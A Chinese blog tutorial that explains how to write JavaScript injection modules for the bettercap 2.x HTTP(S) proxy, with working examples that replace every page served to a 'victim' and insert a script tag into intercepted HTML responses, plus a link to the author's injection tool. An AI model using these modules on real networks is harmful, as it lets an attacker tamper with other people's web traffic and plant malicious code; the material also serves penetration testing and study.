【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script

/文章作者:Kali_MG1937
CSDN博客号:ALDYS4
QQ:3496925334
/

前言

bettercap已经从1.6更新至2.0版本
语言也从ruby改为了go
编写注入模块指定的语言也从ruby变为了js
模块的编写可以说是更加方便了
那么如何编写bettercap2.0的注入模块呢?

语法明晰

bettercap进入2.0后一些人开始不习惯于新版本注入模块的编写
因为在1.6.2版本中,注入js只需要带上–proxy-module=injectjs参数,接着在–js-data参数中带入欲注入的js语句即可,可以说是非常方便了

但在2.0版本,注入模块的编写语言已经改为js,这让许多没接触过ruby的人有了更大的发挥空间

bettercap官网:http://www.bettercap.org
在这里插入图片描述
对于http(s).proxy模块
官方文档的介绍已经很明确了
我这里就对文档的内容进行解释和翻译,并附上自己的理解

0x00 http.proxy.script加载注入模块

这步很简单,只要使用set来设置指定的js文件即可
如:

set http.proxy.script /root/inject.js

0x01 注入模块的语法

注入模块可以更具使用者喜好来编写相应功能的注入模块
这里先对模块语法进行解释

// 当加载proxy时执行onLoad函数
function onLoad() {
//比如你已经set好js文件,使用http.proxy on来加载文件时
//此函数的内容将被执行
}

// 当受害者发送请求时拦截请求内容
function onRequest(req, res) {
//req就是请求的内容,res就是收到的返回内容
}

// 当服务器返回内容给受害者时将其拦截
function onResponse(req, res) {
//req和res和上面一样
}

// 当你在bettercap内执行了一个软件并不自带的命令时执行函数
function onCommand(cmd) {
    if( cmd == "test" ) {
        /*
         * 比如你在软件内输入test并回车,就会触发这个函数
         * 执行相应的代码
         */
        return true
    }
}

0x02 如何编写注入模块

这里先对模块自带的变量进行介绍

变量 介绍
CobtentType 拦截请求/返回的ContentType
Headers 拦截请求/返回的头信息
Status 拦截状态码
Body 拦截请求/返回的内容

在实际编写模块时
应用它们的方法很简单
比如你要拦截服务器返回给受害者信息中的ContentType信息
只需要把它赋予给一个值就好
如:
var a = req.ContentType
如果你要改写服务器返回给受害者的实际内容
只需将req或res参数的对应变量重写即可

如:
req.Body="<html>You were be hacked</html>"

官方也给出了许多骚操作
骚操作之一:网页复写

function onRequest(req, res) {
    res.Status      = 200;//重写状态码
    res.ContentType = "text/html";//重写content
    res.Body        = readFile("caplets/www/index.html");//重写body
    //其中readFile函数也是模块自带的,用于读取本地文件
    headers         = res.Headers.split("\r\n")
    for (var i = 0; i < headers.length; i++) {
        header_name = headers[i].replace(/:.*/, "")
        res.RemoveHeader(header_name);
    }//删除返回信息的头信息
    res.SetHeader("Connection", "close");//增加一个头信息
}

该模块可以在受害者发出任何请求时复写服务器返回的真实内容

骚操作之二:在返回中注入代码

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
    //若content的格式是text/html
        var body = res.ReadBody();//读取body
        if( body.indexOf('</head>') != -1 ) {//若头标签存在
            res.Body = body.replace( 
                '</head>', 
                '<script type="text/javascript">' + "\n" +
                    'alert("bettercap")' +
                '</script>' +
                '</head>'
            ); //则在头标签内注入代码
        }
    }
}

顾名思义,替换指定标签或内容,在其中插入恶意代码

不只这些,有兴趣的可以看看bettercap作者的github
https://github.com/bettercap/caplets
这是作者自己写的模块,各种骚操作都有

还有一些模块自带的参数由于篇幅限制没法一一说明
可以自己去官网查看文档

实际应用

我根据这些原理自己利用python开发了一个小工具
BEST
全称:BettercapEvilScriptTool
开发该工具的初衷是想快捷地构造注入模块
虽然代码还在雏形期,但我还是先开源吧

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
代码开源:
https://pan.baidu.com/s/1buTP8aHqoP84zDeP6cMulQ

发布了31 篇原创文章 · 获赞 244 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/ALDYS4/article/details/90316692